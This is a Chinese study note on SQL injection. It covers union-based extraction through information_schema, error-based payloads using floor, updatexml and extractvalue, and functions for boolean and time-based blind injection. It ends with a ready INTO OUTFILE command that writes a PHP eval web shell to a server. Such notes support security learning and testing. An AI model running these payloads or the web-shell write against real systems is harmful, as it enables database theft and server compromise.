天天看点

SQL注入初步SQL注入初步学习

SQL注入初步学习

(将之前写的一些笔记挪到这里来)

按照基本思路,将SQL注入划分为以下一些类型

1、union回显注入

这种类型的注入会将查询结果显示在前端

一般来说,首先要判断注入点,一般有 GET,POST,cookie 三种形式的注入点

三种常见注释:#,-- (写在URL中时空格会被消掉,所以要写–+),

order by用来判断查询的列数

常用的几句查询语句:

select group_concat(schema_name) from information_schema.schemata

select group_concat(table_name) from information_schema.tables where table_schema='security'

select group_concat(column_name) from information_schema.columns where table_name='users'

select group_concat(password) from security.users 
           

2、基于错误的回显注入

基于错误的注入有三种常见的方式:

  • 通过floor报错

    and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)

    其中payload为你要插入的SQL语句

    需要注意的是该语句将输出字符长度限制为64个字符

  • 通过updatexml报错

    and updatexml(1,payload,1)

    同样该语句对输出的字符长度也做了限制,其最长输出32位

    并且该语句对payload的返回类型也做了限制,只有在payload返回的不是xml格式才会生效

  • 通过ExtractValue报错

    and extractvalue(1, payload)

    输出字符有长度限制,最长32位。

payload即我们要输入的sql查询语句

3、基于bool的盲注

盲注的基本思路为,将数据库名、表名或数据名截断成单个字符,转换成ASCⅡ码(32–127),然后判断是否匹配来确定字符。

SQL盲注有一些常用的函数及命令:

  • ascii(str): str是一个字符串参数,返回值为其最左侧字符的ascii码。通过它,我们才能确定特定的字符。
  • substr(str,start,len): 这个函数是取str中从下标start开始的,长度为len的字符串。通常在盲注中用于取出单个字符,交给ascii函数来确定其具体的值。
  • length(str): 这个函数是用来获取str的长度的。这样我们才能知道需要通过substr取到哪个下标。
  • count([column]): 这个函数大家应该很熟,用来统计记录的数量的,其在盲注中,主要用于判断符合条件的记录的数量,并逐个破解。
  • ord(str):用法类似ascii函数。
  • if(condition,a,b): 当condition为true的时候,返回a,当condition为false的时候,返回b。
  • mid(str,start,length)

4、基于延时的盲注

基于延时,顾名思义就是利用延时来进行判断的盲注

常见的延时的方式有:

  • sleep()
  • benchmark
  • 笛卡尔积
  • GET_LOCK 延时精确可控,利用环境有限,需要开两个session测试。
  • RLIKE通过

    rpad

    repeat

    构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。

5、写入文件

into outfile命令可以向服务器写入文件,但前提时必须拿到服务器的物理路径。

-1'))  union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\123456.php" --+
           

以上命令就可以向服务器路径中写入PHP文件并写入shell代码